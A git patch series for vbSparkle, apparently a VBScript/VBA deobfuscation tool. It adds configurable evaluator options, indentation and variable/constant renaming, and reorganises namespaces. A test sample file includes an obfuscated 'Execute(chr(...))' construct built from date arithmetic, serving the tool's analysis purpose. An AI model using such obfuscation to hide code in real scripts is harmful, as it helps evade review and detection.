-28,7 +28,7 @@ public override DExpression Prettify(bool partialEvaluation = false) retCode.AppendLine($"While {Value.Exp(partialEvaluation)}"); foreach (var CodeBlock in CodeBlocks) - retCode.AppendLine(Helpers.IndentLines(4, CodeBlock.Exp(partialEvaluation))); + retCode.AppendLine(Helpers.IndentLines(Context.Options.IndentSpacing, CodeBlock.Exp(partialEvaluation))); retCode.Append("Loop"); diff --git a/Sources/vbSparkle/LanguageStatements/Blocks/VbWithStatement.cs b/Sources/vbSparkle/LanguageStatements/Blocks/VbWithStatement.cs index 5c28255..61eb2b5 100644 --- a/Sources/vbSparkle/LanguageStatements/Blocks/VbWithStatement.cs +++ b/Sources/vbSparkle/LanguageStatements/Blocks/VbWithStatement.cs @@ -27,7 +27,7 @@ public override DExpression Prettify(bool partialEvaluation = false) retCode.AppendLine($"With {ObjStatement.Exp(partialEvaluation)}"); - retCode.AppendLine(Helpers.IndentLines(4, CodeBlock.Exp(partialEvaluation))); + retCode.AppendLine(Helpers.IndentLines(Context.Options.IndentSpacing, CodeBlock.Exp(partialEvaluation))); retCode.Append($"End With"); diff --git a/Sources/vbSparkle/LanguageStatements/Models/VbIdentifiedObject.cs b/Sources/vbSparkle/LanguageStatements/Models/VbIdentifiedObject.cs index 95c82bb..77e9793 100644 --- a/Sources/vbSparkle/LanguageStatements/Models/VbIdentifiedObject.cs +++ b/Sources/vbSparkle/LanguageStatements/Models/VbIdentifiedObject.cs @@ -33,7 +33,10 @@ public DExpression PrettifyCall(bool useParenthesis = true, params string[] args public class VbUnknownIdentifiedObject : VbIdentifiedObject { - public VbUnknownIdentifiedObject(IVBScopeObject context, string identifier) + public VbUnknownIdentifiedObject( + IVBScopeObject context, + string identifier + ) : base(context, identifier) { } diff --git a/Sources/vbSparkle/LanguageStatements/UserScopeObjects/VbModuleBody.cs b/Sources/vbSparkle/LanguageStatements/UserScopeObjects/VbModuleBody.cs index 6cdc7bf..89c10a0 100644 --- a/Sources/vbSparkle/LanguageStatements/UserScopeObjects/VbModuleBody.cs +++ b/Sources/vbSparkle/LanguageStatements/UserScopeObjects/VbModuleBody.cs @@ -5,10 +5,17 @@ namespace vbSparkle { public class VbModuleBody : VbUserScopeObject { + private VBMain mainSub; - public VbModuleBody(IVBScopeObject context, VBScriptParser.ModuleBodyContext @object, string identifier) - : base(context, @object, identifier) + public VbModuleBody( + IVBScopeObject context, + VBScriptParser.ModuleBodyContext @object, + string identifier) + : base( + context, + @object, + identifier) { mainSub = new VBMain(this, ""); diff --git a/Sources/vbSparkle/LanguageStatements/UserScopeObjects/VbUserClass.cs b/Sources/vbSparkle/LanguageStatements/UserScopeObjects/VbUserClass.cs index a084470..083be52 100644 --- a/Sources/vbSparkle/LanguageStatements/UserScopeObjects/VbUserClass.cs +++ b/Sources/vbSparkle/LanguageStatements/UserScopeObjects/VbUserClass.cs @@ -50,7 +50,7 @@ public override DExpression Prettify(bool partialEvaluation = false) sb.Append("Class "); } sb.AppendLine(IdentifiedObject.Name); - sb.AppendLine(Helpers.IndentLines(4, Body.Prettify(partialEvaluation))); + sb.AppendLine(Helpers.IndentLines(Context.Options.IndentSpacing, Body.Prettify(partialEvaluation))); sb.Append("End Class"); System.Globalization.CultureInfo.CurrentCulture.TextInfo.ToTitleCase(Visibility); diff --git a/Sources/vbSparkle/LanguageStatements/UserScopeObjects/VbUserFunction.cs b/Sources/vbSparkle/LanguageStatements/UserScopeObjects/VbUserFunction.cs index 5b2f311..7fccb08 100644 --- a/Sources/vbSparkle/LanguageStatements/UserScopeObjects/VbUserFunction.cs +++ b/Sources/vbSparkle/LanguageStatements/UserScopeObjects/VbUserFunction.cs @@ -56,7 +56,7 @@ public override DExpression Prettify(bool partialEvaluation = false) else sb.AppendLine($"Function {Name}({arguments})"); - sb.AppendLine(Helpers.IndentLines(4, CodeBlock.Exp(partialEvaluation))); + sb.AppendLine(Helpers.IndentLines(Context.Options.IndentSpacing, CodeBlock.Exp(partialEvaluation))); sb.Append("End Function"); return new DCodeBlock(sb.ToString()); diff --git a/Sources/vbSparkle/LanguageStatements/UserScopeObjects/VbUserScopeObject.cs b/Sources/vbSparkle/LanguageStatements/UserScopeObjects/VbUserScopeObject.cs index fd3d0e5..4150150 100644 --- a/Sources/vbSparkle/LanguageStatements/UserScopeObjects/VbUserScopeObject.cs +++ b/Sources/vbSparkle/LanguageStatements/UserScopeObjects/VbUserScopeObject.cs @@ -8,6 +8,7 @@ namespace vbSparkle public abstract class VbUserScopeObject : VbUserIdentifiedObject, IVBScopeObject where T : IParseTree { + public Dictionary AllObjects = new Dictionary(); public Dictionary Attributes = new Dictionary(); @@ -33,6 +34,30 @@ public VbUserScopeObject( { } + public EvaluatorOptions _options = null; + public EvaluatorOptions Options + { + get + { + if (_options != null) + { + return _options; + } + else + { + if (Context?.Options != null) + { + return Context.Options; + } + } + return _options = new EvaluatorOptions(); + } + set + { + _options = value; + } + } + public void DeclareConstant(VbSubConstStatement constStatement) { string id = constStatement.Identifier.ToUpper(); diff --git a/Sources/vbSparkle/LanguageStatements/UserScopeObjects/VbUserSub.cs b/Sources/vbSparkle/LanguageStatements/UserScopeObjects/VbUserSub.cs index 2507c6e..56fd604 100644 --- a/Sources/vbSparkle/LanguageStatements/UserScopeObjects/VbUserSub.cs +++ b/Sources/vbSparkle/LanguageStatements/UserScopeObjects/VbUserSub.cs @@ -52,7 +52,7 @@ public override DExpression Prettify(bool partialEvaluation = false) string arguments = string.Join(", ", ArgList.Select(v => v.Value.Exp(partialEvaluation))); sb.AppendLine($"Sub {Name}({arguments})"); - sb.AppendLine(Helpers.IndentLines(4, CodeBlock.Exp(partialEvaluation))); + sb.AppendLine(Helpers.IndentLines(Context.Options.IndentSpacing, CodeBlock.Exp(partialEvaluation))); sb.Append("End Sub"); return new DCodeBlock(sb.ToString()); diff --git a/Sources/vbSparkle/LanguageStatements/VbModule.cs b/Sources/vbSparkle/LanguageStatements/VbModule.cs index a8d61e1..b3b6dde 100644 --- a/Sources/vbSparkle/LanguageStatements/VbModule.cs +++ b/Sources/vbSparkle/LanguageStatements/VbModule.cs @@ -7,6 +7,8 @@ namespace vbSparkle public class VbModule : VbUserScopeObject { + public VbAnalyser Analyser { get; set; } + ///// ///// Evaluators are : ///// - variables @@ -44,12 +46,14 @@ public class VbModule : VbUserScopeObject public VbModuleBody Body { get; set; } public VbModule( + EvaluatorOptions options, VBScriptParser.ModuleContext @object) : base( null, @object, "") { + Options = options; if (@object.moduleAttributes()?.attributeStmt() != null) foreach (var attr in @object.moduleAttributes()?.attributeStmt()) diff --git a/Sources/vbSparkle/Objects/NativeObjectManager.cs b/Sources/vbSparkle/Objects/NativeObjectManager.cs index 6c42364..555f28d 100644 --- a/Sources/vbSparkle/Objects/NativeObjectManager.cs +++ b/Sources/vbSparkle/Objects/NativeObjectManager.cs @@ -6,11 +6,15 @@ namespace vbSparkle { public class NativeObjectManager : IVBScopeObject { + public static NativeObjectManager Current { get; } = new NativeObjectManager(); public Dictionary NativeObjects { get; private set; } = new Dictionary(); + public VbAnalyser Analyser { get; set; } + public EvaluatorOptions Options { get; set; } + public NativeObjectManager() { Add(new VbNativeConstants(this, "vbCrLf", new DSimpleStringExpression("\r\n", Encoding.Unicode))); diff --git a/Sources/vbSparkle/PreProcessor/PPNativeObjectManager.cs b/Sources/vbSparkle/PreProcessor/PPNativeObjectManager.cs index 485cac8..b79c778 100644 --- a/Sources/vbSparkle/PreProcessor/PPNativeObjectManager.cs +++ b/Sources/vbSparkle/PreProcessor/PPNativeObjectManager.cs @@ -10,6 +10,7 @@ public class PPNativeObjectManager : IVBScopeObject public Dictionary NativeObjects { get; private set; } = new Dictionary(); + public EvaluatorOptions Options { get; set; } public PPNativeObjectManager() { diff --git a/Sources/vbSparkle/VbAnalyser.cs b/Sources/vbSparkle/VbAnalyser.cs index 71cef9d..817beff 100644 --- a/Sources/vbSparkle/VbAnalyser.cs +++ b/Sources/vbSparkle/VbAnalyser.cs @@ -6,13 +6,20 @@ namespace vbSparkle { public class VbAnalyser { + public EvaluatorOptions Options { get; internal set; } + + public VbAnalyser(EvaluatorOptions options) + { + Options = options; + } + public List Modules { get; set; } = new List(); internal void Visit(VBScriptParser.StartRuleContext stContext) { var moduleContext = stContext.module(); - VbModule module = new VbModule(moduleContext); + VbModule module = new VbModule(Options, moduleContext); Modules.Add(module); } } diff --git a/Sources/vbSparkle/VbPartialEvaluator.cs b/Sources/vbSparkle/VbPartialEvaluator.cs index 05b6004..d66c46c 100644 --- a/Sources/vbSparkle/VbPartialEvaluator.cs +++ b/Sources/vbSparkle/VbPartialEvaluator.cs @@ -1,8 +1,40 @@ using Antlr4.Runtime; +using System; using System.Linq; namespace vbSparkle { + public enum JunkCodeProcessingMode + { + Nothing = 0, + Remove = 1, + Comment = 2 + } + + [Flags] + public enum SymbolRenamingMode + { + None, + Variables, + Constants, + PublicMembers, + PrivateMembers, + Members = PublicMembers | PrivateMembers, + All = Variables | Constants | Members, + AutoDetectObfuscatedSymbols, + + } + + public class EvaluatorOptions + { + public bool PerfomPartialEvaluation { get; set; } = true; + public JunkCodeProcessingMode JunkCodeProcessingMode { get; set; } = JunkCodeProcessingMode.Comment; + + public int IndentSpacing { get; set; } = 4; + + public SymbolRenamingMode SymbolRenamingMode { get; set; } = SymbolRenamingMode.None; + } + /// /// Visual Basic Script, Encoded, and VBA macro partial evaluator. /// @@ -13,7 +45,7 @@ public class VbPartialEvaluator /// /// VBE / VBS / VBA script code. /// Deobfuscated & prettified script. - public static string PrettifyEncoded(string script) + public static string PrettifyEncoded(string script, EvaluatorOptions options = null) { // VBE signatures string VBE_SIG_START = "#@~^"; @@ -30,7 +62,7 @@ public static string PrettifyEncoded(string script) string encodedScript = script.Substring(start, len); var result = vbeDecoder.ScriptDecoder.DecodeScript(encodedScript); - result = Prettify(result); + result = Prettify(result, options); script = script.Remove(start, len).Insert(start, result); @@ -39,7 +71,7 @@ public static string PrettifyEncoded(string script) } else { - return Prettify(script); + return Prettify(script, options); } return script; @@ -50,9 +82,9 @@ public static string PrettifyEncoded(string script) /// /// Clear text VBA / VBS script /// Deobfuscated & prettified script. - private static string Prettify(string script) + private static string Prettify(string script, EvaluatorOptions options = null) { - string processedScript = PreProcessScript(script); + string processedScript = PreProcessScript(script, options); AntlrInputStream antlrStream = new AntlrInputStream(processedScript); @@ -64,7 +96,13 @@ private static string Prettify(string script) VBScriptParser.StartRuleContext context = parser.startRule(); - VbAnalyser analyser = new VbAnalyser(); + VbAnalyser analyser = new VbAnalyser(new EvaluatorOptions() + { + JunkCodeProcessingMode = JunkCodeProcessingMode.Remove, + PerfomPartialEvaluation = true, + IndentSpacing = 2 + }) ; + analyser.Visit(context); var module = analyser.Modules.FirstOrDefault(); @@ -81,7 +119,7 @@ private static string Prettify(string script) /// /// Clear text VBA / VBS script. /// Deobfuscated & prettified script. - private static string PreProcessScript(string script) + private static string PreProcessScript(string script, EvaluatorOptions options) { AntlrInputStream inputStream = new AntlrInputStream(script); @@ -91,7 +129,7 @@ private static string PreProcessScript(string script) VBPreprocessorsParser preprocessorParser = new VBPreprocessorsParser(preprocessorCommonTokenStream); VBPreprocessorsParser.StartRuleContext preproStartContext = preprocessorParser.startRule(); - VbPreprocessorAnalyser preAnalyser = new VbPreprocessorAnalyser(); + VbPreprocessorAnalyser preAnalyser = new VbPreprocessorAnalyser(options); string result = preAnalyser.Visit(preproStartContext); return result; diff --git a/Sources/vbSparkle/VbPreProcessorsAnalyser.cs b/Sources/vbSparkle/VbPreProcessorsAnalyser.cs index e1c92c8..2679480 100644 --- a/Sources/vbSparkle/VbPreProcessorsAnalyser.cs +++ b/Sources/vbSparkle/VbPreProcessorsAnalyser.cs @@ -9,6 +9,12 @@ namespace vbSparkle { public class VbPreprocessorAnalyser { + public EvaluatorOptions Options { get; internal set; } + + public VbPreprocessorAnalyser(EvaluatorOptions options) { + Options = options; + } + private PreProcessor.PPNativeObjectManager context { get; set; } = new PreProcessor.PPNativeObjectManager(); internal string Visit(StartRuleContext stContext) diff --git a/vbSparkle.sln b/vbSparkle.sln index f58543a..e4ec9e1 100644 --- a/vbSparkle.sln +++ b/vbSparkle.sln @@ -1,7 +1,7 @@  Microsoft Visual Studio Solution File, Format Version 12.00 -# Visual Studio Version 16 -VisualStudioVersion = 16.0.28803.352 +# Visual Studio Version 17 +VisualStudioVersion = 17.2.33027.314 MinimumVisualStudioVersion = 10.0.40219.1 Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "vbSparkle", "Sources\vbSparkle\vbSparkle.csproj", "{63C17F03-2FD2-4EDE-BE78-5E4A3950BAFF}" EndProject @@ -9,7 +9,6 @@ Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "vbSparkle.CLI", "Sources\vb EndProject Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Solution Items", "Solution Items", "{00B4B68B-5BF8-4220-B746-831EAACD5030}" ProjectSection(SolutionItems) = preProject - .travis.yml = .travis.yml LICENSE.txt = LICENSE.txt parse-tree.svg = parse-tree.svg railroad_diagram.png = railroad_diagram.png From 374c2514004ef202d5ff9220ab3b8f5754a46548 Mon Sep 17 00:00:00 2001 From: sbruyere Date: Fri, 6 Jan 2023 16:49:12 +0100 Subject: [PATCH 02/14] Change where EvaluatorOptions is created for CLI. --- Sources/vbSparkle.Console/Program.cs | 7 ++++++- Sources/vbSparkle/VbPartialEvaluator.cs | 7 +------ 2 files changed, 7 insertions(+), 7 deletions(-) diff --git a/Sources/vbSparkle.Console/Program.cs b/Sources/vbSparkle.Console/Program.cs index 7865803..547edca 100644 --- a/Sources/vbSparkle.Console/Program.cs +++ b/Sources/vbSparkle.Console/Program.cs @@ -57,7 +57,12 @@ private static string DeobfuscateContent(string content) perfWatch.Start(); - var result = VbPartialEvaluator.PrettifyEncoded(content); + var result = VbPartialEvaluator.PrettifyEncoded(content, new EvaluatorOptions() + { + JunkCodeProcessingMode = JunkCodeProcessingMode.Remove, + PerfomPartialEvaluation = true, + IndentSpacing = 4 + }); perfWatch.Stop(); Console.WriteLine($"Computed in {perfWatch.ElapsedMilliseconds} ms."); diff --git a/Sources/vbSparkle/VbPartialEvaluator.cs b/Sources/vbSparkle/VbPartialEvaluator.cs index d66c46c..b65fe5d 100644 --- a/Sources/vbSparkle/VbPartialEvaluator.cs +++ b/Sources/vbSparkle/VbPartialEvaluator.cs @@ -96,12 +96,7 @@ private static string Prettify(string script, EvaluatorOptions options = null) VBScriptParser.StartRuleContext context = parser.startRule(); - VbAnalyser analyser = new VbAnalyser(new EvaluatorOptions() - { - JunkCodeProcessingMode = JunkCodeProcessingMode.Remove, - PerfomPartialEvaluation = true, - IndentSpacing = 2 - }) ; + VbAnalyser analyser = new VbAnalyser(options) ; analyser.Visit(context); From c56ab1f56a4d2f72da1c1055d5d81df6ae6367e5 Mon Sep 17 00:00:00 2001 From: sbruyere Date: Fri, 6 Jan 2023 22:50:51 +0100 Subject: [PATCH 03/14] Clean class location --- Sources/vbSparkle.Console/Program.cs | 1 + .../vbSparkle/Interfaces/IVBScopeObject.cs | 4 ++- .../Blocks/VbIfThenElseStatement.cs | 1 + .../UserScopeObjects/VbUserScopeObject.cs | 1 + .../vbSparkle/LanguageStatements/VbModule.cs | 1 + .../vbSparkle/Objects/NativeObjectManager.cs | 1 + Sources/vbSparkle/Options/EvaluatorOptions.cs | 12 +++++++ .../Options/JunkCodeProcessingMode.cs | 9 ++++++ .../vbSparkle/Options/SymbolRenamingMode.cs | 18 +++++++++++ .../PreProcessor/PPNativeObjectManager.cs | 1 + Sources/vbSparkle/VbAnalyser.cs | 1 + Sources/vbSparkle/VbPartialEvaluator.cs | 32 +------------------ Sources/vbSparkle/VbPreProcessorsAnalyser.cs | 1 + 13 files changed, 51 insertions(+), 32 deletions(-) create mode 100644 Sources/vbSparkle/Options/EvaluatorOptions.cs create mode 100644 Sources/vbSparkle/Options/JunkCodeProcessingMode.cs create mode 100644 Sources/vbSparkle/Options/SymbolRenamingMode.cs diff --git a/Sources/vbSparkle.Console/Program.cs b/Sources/vbSparkle.Console/Program.cs index 547edca..fefb2ed 100644 --- a/Sources/vbSparkle.Console/Program.cs +++ b/Sources/vbSparkle.Console/Program.cs @@ -4,6 +4,7 @@ using System.Diagnostics; using System.IO; using System.Linq; +using vbSparkle.Options; namespace vbSparkle.CLI { diff --git a/Sources/vbSparkle/Interfaces/IVBScopeObject.cs b/Sources/vbSparkle/Interfaces/IVBScopeObject.cs index f79b104..d96eb93 100644 --- a/Sources/vbSparkle/Interfaces/IVBScopeObject.cs +++ b/Sources/vbSparkle/Interfaces/IVBScopeObject.cs @@ -1,4 +1,6 @@ -namespace vbSparkle +using vbSparkle.Options; + +namespace vbSparkle { public interface IVBScopeObject { diff --git a/Sources/vbSparkle/LanguageStatements/Blocks/VbIfThenElseStatement.cs b/Sources/vbSparkle/LanguageStatements/Blocks/VbIfThenElseStatement.cs index ae36bdf..f75345e 100644 --- a/Sources/vbSparkle/LanguageStatements/Blocks/VbIfThenElseStatement.cs +++ b/Sources/vbSparkle/LanguageStatements/Blocks/VbIfThenElseStatement.cs @@ -1,5 +1,6 @@ using System.Collections.Generic; using System.Text; +using vbSparkle.Options; using static vbSparkle.VBScriptParser; namespace vbSparkle diff --git a/Sources/vbSparkle/LanguageStatements/UserScopeObjects/VbUserScopeObject.cs b/Sources/vbSparkle/LanguageStatements/UserScopeObjects/VbUserScopeObject.cs index 4150150..482db6d 100644 --- a/Sources/vbSparkle/LanguageStatements/UserScopeObjects/VbUserScopeObject.cs +++ b/Sources/vbSparkle/LanguageStatements/UserScopeObjects/VbUserScopeObject.cs @@ -1,6 +1,7 @@ using System; using Antlr4.Runtime.Tree; using System.Collections.Generic; +using vbSparkle.Options; namespace vbSparkle { diff --git a/Sources/vbSparkle/LanguageStatements/VbModule.cs b/Sources/vbSparkle/LanguageStatements/VbModule.cs index b3b6dde..a23b88c 100644 --- a/Sources/vbSparkle/LanguageStatements/VbModule.cs +++ b/Sources/vbSparkle/LanguageStatements/VbModule.cs @@ -1,6 +1,7 @@ using System.Collections.Generic; using System.Linq; using System.Text; +using vbSparkle.Options; namespace vbSparkle { diff --git a/Sources/vbSparkle/Objects/NativeObjectManager.cs b/Sources/vbSparkle/Objects/NativeObjectManager.cs index 555f28d..6591a1b 100644 --- a/Sources/vbSparkle/Objects/NativeObjectManager.cs +++ b/Sources/vbSparkle/Objects/NativeObjectManager.cs @@ -1,6 +1,7 @@ using System.Collections.Generic; using System.Text; using vbSparkle.EvaluationObjects; +using vbSparkle.Options; namespace vbSparkle { diff --git a/Sources/vbSparkle/Options/EvaluatorOptions.cs b/Sources/vbSparkle/Options/EvaluatorOptions.cs new file mode 100644 index 0000000..e29768f --- /dev/null +++ b/Sources/vbSparkle/Options/EvaluatorOptions.cs @@ -0,0 +1,12 @@ +namespace vbSparkle.Options +{ + public class EvaluatorOptions + { + public bool PerfomPartialEvaluation { get; set; } = true; + public JunkCodeProcessingMode JunkCodeProcessingMode { get; set; } = JunkCodeProcessingMode.Comment; + + public int IndentSpacing { get; set; } = 4; + + public SymbolRenamingMode SymbolRenamingMode { get; set; } = SymbolRenamingMode.None; + } +} diff --git a/Sources/vbSparkle/Options/JunkCodeProcessingMode.cs b/Sources/vbSparkle/Options/JunkCodeProcessingMode.cs new file mode 100644 index 0000000..7d85f84 --- /dev/null +++ b/Sources/vbSparkle/Options/JunkCodeProcessingMode.cs @@ -0,0 +1,9 @@ +namespace vbSparkle.Options +{ + public enum JunkCodeProcessingMode + { + Nothing = 0, + Remove = 1, + Comment = 2 + } +} diff --git a/Sources/vbSparkle/Options/SymbolRenamingMode.cs b/Sources/vbSparkle/Options/SymbolRenamingMode.cs new file mode 100644 index 0000000..6941b1a --- /dev/null +++ b/Sources/vbSparkle/Options/SymbolRenamingMode.cs @@ -0,0 +1,18 @@ +using System; + +namespace vbSparkle.Options +{ + [Flags] + public enum SymbolRenamingMode + { + None, + Variables, + Constants, + PublicMembers, + PrivateMembers, + Members = PublicMembers | PrivateMembers, + All = Variables | Constants | Members, + AutoDetectObfuscatedSymbols, + + } +} diff --git a/Sources/vbSparkle/PreProcessor/PPNativeObjectManager.cs b/Sources/vbSparkle/PreProcessor/PPNativeObjectManager.cs index b79c778..00240a4 100644 --- a/Sources/vbSparkle/PreProcessor/PPNativeObjectManager.cs +++ b/Sources/vbSparkle/PreProcessor/PPNativeObjectManager.cs @@ -1,5 +1,6 @@ using System.Collections.Generic; using vbSparkle.EvaluationObjects; +using vbSparkle.Options; namespace vbSparkle.PreProcessor { diff --git a/Sources/vbSparkle/VbAnalyser.cs b/Sources/vbSparkle/VbAnalyser.cs index 817beff..50b2f99 100644 --- a/Sources/vbSparkle/VbAnalyser.cs +++ b/Sources/vbSparkle/VbAnalyser.cs @@ -1,6 +1,7 @@  using System; using System.Collections.Generic; +using vbSparkle.Options; namespace vbSparkle { diff --git a/Sources/vbSparkle/VbPartialEvaluator.cs b/Sources/vbSparkle/VbPartialEvaluator.cs index b65fe5d..4909b55 100644 --- a/Sources/vbSparkle/VbPartialEvaluator.cs +++ b/Sources/vbSparkle/VbPartialEvaluator.cs @@ -1,39 +1,9 @@ using Antlr4.Runtime; -using System; using System.Linq; +using vbSparkle.Options; namespace vbSparkle { - public enum JunkCodeProcessingMode - { - Nothing = 0, - Remove = 1, - Comment = 2 - } - - [Flags] - public enum SymbolRenamingMode - { - None, - Variables, - Constants, - PublicMembers, - PrivateMembers, - Members = PublicMembers | PrivateMembers, - All = Variables | Constants | Members, - AutoDetectObfuscatedSymbols, - - } - - public class EvaluatorOptions - { - public bool PerfomPartialEvaluation { get; set; } = true; - public JunkCodeProcessingMode JunkCodeProcessingMode { get; set; } = JunkCodeProcessingMode.Comment; - - public int IndentSpacing { get; set; } = 4; - - public SymbolRenamingMode SymbolRenamingMode { get; set; } = SymbolRenamingMode.None; - } /// /// Visual Basic Script, Encoded, and VBA macro partial evaluator. diff --git a/Sources/vbSparkle/VbPreProcessorsAnalyser.cs b/Sources/vbSparkle/VbPreProcessorsAnalyser.cs index 2679480..06345bb 100644 --- a/Sources/vbSparkle/VbPreProcessorsAnalyser.cs +++ b/Sources/vbSparkle/VbPreProcessorsAnalyser.cs @@ -3,6 +3,7 @@ using System.Collections.Generic; using System.Linq; using System.Text; +using vbSparkle.Options; using static vbSparkle.VBPreprocessorsParser; namespace vbSparkle From 96df63871021b94c2386acb022ff20b23fbad3c7 Mon Sep 17 00:00:00 2001 From: sbruyere Date: Sat, 7 Jan 2023 00:07:50 +0100 Subject: [PATCH 04/14] Implement basic variable renaming options --- Resources/samples/sample_7.txt | 18 +++++++++++++++++- Sources/vbSparkle.Console/Program.cs | 3 ++- Sources/vbSparkle/Interfaces/IVBScopeObject.cs | 1 - .../UserScopeObjects/VbUserScopeObject.cs | 15 ++++++++++++++- Sources/vbSparkle/Options/EvaluatorOptions.cs | 3 +++ .../vbSparkle/Options/SymbolRenamingMode.cs | 10 +++++----- 6 files changed, 41 insertions(+), 9 deletions(-) diff --git a/Resources/samples/sample_7.txt b/Resources/samples/sample_7.txt index a05e57f..0b95d6d 100644 --- a/Resources/samples/sample_7.txt +++ b/Resources/samples/sample_7.txt @@ -1,4 +1,20 @@ - +dim i as long, toto as integer +i = i+1 +msgbox i +msgbox toto + +const tutu = 3 + +if (i =4) then +msgbox i+2 +end if + +function test(totso as long) + i = i+3 + dim JUJU, toto as string + toto = "hello" +end function + Execute(chr((abs(#2019-01-01# - #2019-01-31#) * 2) +5) _ + chr((abs(#2019-01-01# - #2019-02-01#) * 2) +4) _ + chr((abs(#2019-01-01# - #2019-02-02#) * 2) +3) _ diff --git a/Sources/vbSparkle.Console/Program.cs b/Sources/vbSparkle.Console/Program.cs index fefb2ed..3db101b 100644 --- a/Sources/vbSparkle.Console/Program.cs +++ b/Sources/vbSparkle.Console/Program.cs @@ -62,7 +62,8 @@ private static string DeobfuscateContent(string content) { JunkCodeProcessingMode = JunkCodeProcessingMode.Remove, PerfomPartialEvaluation = true, - IndentSpacing = 4 + IndentSpacing = 4, + SymbolRenamingMode = SymbolRenamingMode.All }); perfWatch.Stop(); diff --git a/Sources/vbSparkle/Interfaces/IVBScopeObject.cs b/Sources/vbSparkle/Interfaces/IVBScopeObject.cs index d96eb93..95d6c94 100644 --- a/Sources/vbSparkle/Interfaces/IVBScopeObject.cs +++ b/Sources/vbSparkle/Interfaces/IVBScopeObject.cs @@ -5,7 +5,6 @@ namespace vbSparkle public interface IVBScopeObject { EvaluatorOptions Options { get; set; } - VbIdentifiedObject GetIdentifiedObject(string identifier); void DeclareVariable(VbUserVariable variable); diff --git a/Sources/vbSparkle/LanguageStatements/UserScopeObjects/VbUserScopeObject.cs b/Sources/vbSparkle/LanguageStatements/UserScopeObjects/VbUserScopeObject.cs index 482db6d..a082623 100644 --- a/Sources/vbSparkle/LanguageStatements/UserScopeObjects/VbUserScopeObject.cs +++ b/Sources/vbSparkle/LanguageStatements/UserScopeObjects/VbUserScopeObject.cs @@ -63,14 +63,27 @@ public void DeclareConstant(VbSubConstStatement constStatement) { string id = constStatement.Identifier.ToUpper(); Constants[id] = constStatement; - AllObjects[id] = constStatement; + AllObjects[id] = constStatement; + + if ((Context.Options.SymbolRenamingMode & SymbolRenamingMode.Constants) > 0) + { + constStatement.Name = "const_" + Context.Options.ConstIdx; + Context.Options.ConstIdx++; + } } + public void DeclareVariable(VbUserVariable variable) { string id = variable.Identifier.ToUpper(); Variables[id] = variable; AllObjects[id] = variable; + + if ((Context.Options.SymbolRenamingMode & SymbolRenamingMode.Variables) > 0) + { + variable.Name = "var_" + Context.Options.VarIdx; + Context.Options.VarIdx++; + } } diff --git a/Sources/vbSparkle/Options/EvaluatorOptions.cs b/Sources/vbSparkle/Options/EvaluatorOptions.cs index e29768f..d960561 100644 --- a/Sources/vbSparkle/Options/EvaluatorOptions.cs +++ b/Sources/vbSparkle/Options/EvaluatorOptions.cs @@ -2,6 +2,9 @@ { public class EvaluatorOptions { + public int ConstIdx { get; set; } + public int VarIdx { get; set; } + public bool PerfomPartialEvaluation { get; set; } = true; public JunkCodeProcessingMode JunkCodeProcessingMode { get; set; } = JunkCodeProcessingMode.Comment; diff --git a/Sources/vbSparkle/Options/SymbolRenamingMode.cs b/Sources/vbSparkle/Options/SymbolRenamingMode.cs index 6941b1a..ebdeafa 100644 --- a/Sources/vbSparkle/Options/SymbolRenamingMode.cs +++ b/Sources/vbSparkle/Options/SymbolRenamingMode.cs @@ -8,11 +8,11 @@ public enum SymbolRenamingMode None, Variables, Constants, - PublicMembers, - PrivateMembers, - Members = PublicMembers | PrivateMembers, - All = Variables | Constants | Members, - AutoDetectObfuscatedSymbols, + //TODO: PublicMembers, + //TODO: PrivateMembers, + //TODO: Members = PublicMembers | PrivateMembers, + All = Variables | Constants, // TODO: | Members, + //TODO: AutoDetectObfuscatedSymbols, } } From a5f5e227cd78fb8ded4f8ab4afb3572238859473 Mon Sep 17 00:00:00 2001 From: sbruyere Date: Sat, 7 Jan 2023 00:14:51 +0100 Subject: [PATCH 05/14] Fix EvaluatorOptions --- Sources/vbSparkle.Console/Program.cs | 2 +- Sources/vbSparkle/Options/EvaluatorOptions.cs | 13 ++++++++----- 2 files changed, 9 insertions(+), 6 deletions(-) diff --git a/Sources/vbSparkle.Console/Program.cs b/Sources/vbSparkle.Console/Program.cs index 3db101b..33d7ad3 100644 --- a/Sources/vbSparkle.Console/Program.cs +++ b/Sources/vbSparkle.Console/Program.cs @@ -63,7 +63,7 @@ private static string DeobfuscateContent(string content) JunkCodeProcessingMode = JunkCodeProcessingMode.Remove, PerfomPartialEvaluation = true, IndentSpacing = 4, - SymbolRenamingMode = SymbolRenamingMode.All + SymbolRenamingMode = SymbolRenamingMode.None }); perfWatch.Stop(); diff --git a/Sources/vbSparkle/Options/EvaluatorOptions.cs b/Sources/vbSparkle/Options/EvaluatorOptions.cs index d960561..580cec2 100644 --- a/Sources/vbSparkle/Options/EvaluatorOptions.cs +++ b/Sources/vbSparkle/Options/EvaluatorOptions.cs @@ -2,14 +2,17 @@ { public class EvaluatorOptions { - public int ConstIdx { get; set; } - public int VarIdx { get; set; } - - public bool PerfomPartialEvaluation { get; set; } = true; + public SymbolRenamingMode SymbolRenamingMode { get; set; } = SymbolRenamingMode.None; public JunkCodeProcessingMode JunkCodeProcessingMode { get; set; } = JunkCodeProcessingMode.Comment; public int IndentSpacing { get; set; } = 4; - public SymbolRenamingMode SymbolRenamingMode { get; set; } = SymbolRenamingMode.None; + + //TODO: public bool PerfomPartialEvaluation { get; set; } = true; + #region Internal + internal int ConstIdx { get; set; } = 0; + internal int VarIdx { get; set; } = 0; + #endregion + } } From 36c3e7a61c883ac380751de98b96b847402cb381 Mon Sep 17 00:00:00 2001 From: sbruyere Date: Sat, 7 Jan 2023 00:31:36 +0100 Subject: [PATCH 06/14] Fix CLI --- Sources/vbSparkle.Console/Program.cs | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/Sources/vbSparkle.Console/Program.cs b/Sources/vbSparkle.Console/Program.cs index 33d7ad3..65b048f 100644 --- a/Sources/vbSparkle.Console/Program.cs +++ b/Sources/vbSparkle.Console/Program.cs @@ -60,10 +60,9 @@ private static string DeobfuscateContent(string content) var result = VbPartialEvaluator.PrettifyEncoded(content, new EvaluatorOptions() { + SymbolRenamingMode = SymbolRenamingMode.None, JunkCodeProcessingMode = JunkCodeProcessingMode.Remove, - PerfomPartialEvaluation = true, IndentSpacing = 4, - SymbolRenamingMode = SymbolRenamingMode.None }); perfWatch.Stop(); From 8db7ba175500ece710d96c5d121f633d66948c64 Mon Sep 17 00:00:00 2001 From: sbruyere 